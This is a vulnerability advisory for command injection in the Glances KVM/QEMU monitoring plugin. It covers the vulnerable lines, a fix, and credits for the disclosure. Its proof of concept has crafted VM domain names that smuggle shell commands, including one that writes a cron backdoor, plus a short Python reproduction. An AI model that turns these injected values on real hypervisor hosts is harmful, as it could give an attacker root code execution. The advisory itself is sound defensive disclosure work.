PT-2026-59161 — Pypi Glance

PT-2026-59161 · Pypi · Glance

Published

2026-07-13

Updated

2026-07-13

CVSS v3.1

7.8

High

Vector

AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure popen(). secure popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.

Details

Affected file: glances/plugins/vms/engines/virsh.py

Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):

The vulnerable calls are on lines 185 and 204:

python

# line 185 (update stats)
ret cmd = secure popen(f'{VIRSH PATH} {VIRSH DOMAIN STATS OPTIONS} {domain}')

# line 204 (update title)
ret cmd = secure popen(f'{VIRSH PATH} {VIRSH DOMAIN TITLE OPTIONS} {domain}')

domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure popen().

secure popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:

python

# glances/secure.py
def secure popen(cmd):
  ret = ''
  for c in cmd.split('&&'):    # '&&' → two separate processes
    ret +=  secure popen(c)
  return ret

def  secure popen(cmd):
  for sub cmd in cmd.split('|'):  # '|' → stdin/stdout piped
    p = Popen(sub cmd split, shell=False, stdin=sub cmd stdin, stdout=PIPE, stderr=PIPE)
  # '>' is split separately for file redirection

By contrast, actions.py sanitises process names through sanitize mustache dict() before they reach secure popen(). The vms plugin applies no such protection.

Confirmed on: x86 64 Linux, Python 3.13, Glances 4.5.5 dev1 (commit 04579778e733d705898a169e049dc84772c852da).

All three injection operators were verified:

Operator	Effect	Confirmed
`&&`	Second command executes after the virsh call	Yes
`	`	Output of virsh piped to injected command
`>`	virsh output redirected to arbitrary file	Yes

PoC

Special configuration required

Glances must be configured to monitor a KVM/QEMU hypervisor: the vms plugin must be enabled and /usr/bin/virsh must be installed and executable.
The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).
No custom glances.conf settings are needed beyond a working virsh setup.

Step 1 — Create a VM with a crafted domain name

Using the && operator to chain a second command:

xml

<domain type="kvm">
 <name>productionDB &amp;&amp; touch /tmp/glances pwned</name>
 <memory>131072</memory>
 <vcpu>1</vcpu>
 <os><type arch="x86 64">hvm</type></os>
</domain>

bash

virsh define evil-domain.xml

Step 2 — Start Glances with KVM monitoring enabled

bash

glances        # or: glances -s / glances -w

On the next monitoring cycle Glances calls:

virsh domstats --nowait "productionDB && touch /tmp/glances pwned"

which secure popen() splits into two processes:

virsh domstats --nowait productionDB
touch /tmp/glances pwned

Step 3 — Verify execution

bash

ls -la /tmp/glances pwned  # file will exist, owned by the Glances user

Pipe injection (|) example

Domain name: "productionDB | tee /tmp/virsh output stolen.txt"

The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.

File-write injection (>) example

Domain name: "productionDB > /etc/cron.d/glances backdoor"

The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.

Minimal Python reproduction (no VM required)

python

import sys
sys.path.insert(0, '/path/to/glances')  # adjust to local clone
from glances.secure import secure popen

# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`

Impact

Vulnerability type: Command Injection (CWE-78)

Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.

Impact:

Confidentiality: Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.
Integrity: Full — file-write injection (>) allows placing content in any file writable by the Glances process (cron, authorised keys, etc.).
Availability: Full — the Glances process can be terminated or the host disrupted through the injected commands.

In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.

Suggested Fix

Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure popen()'s operator splitting logic:

python

# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE

result = run(
  [VIRSH PATH, 'domstats', '--nowait', domain],
  stdout=PIPE, stderr=PIPE, timeout=5
)

Alternatively, sanitise domain using the same sanitize mustache dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.

As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP SYS PTRACE rather than as root.

Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.

Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-2497

Affected Products

Glance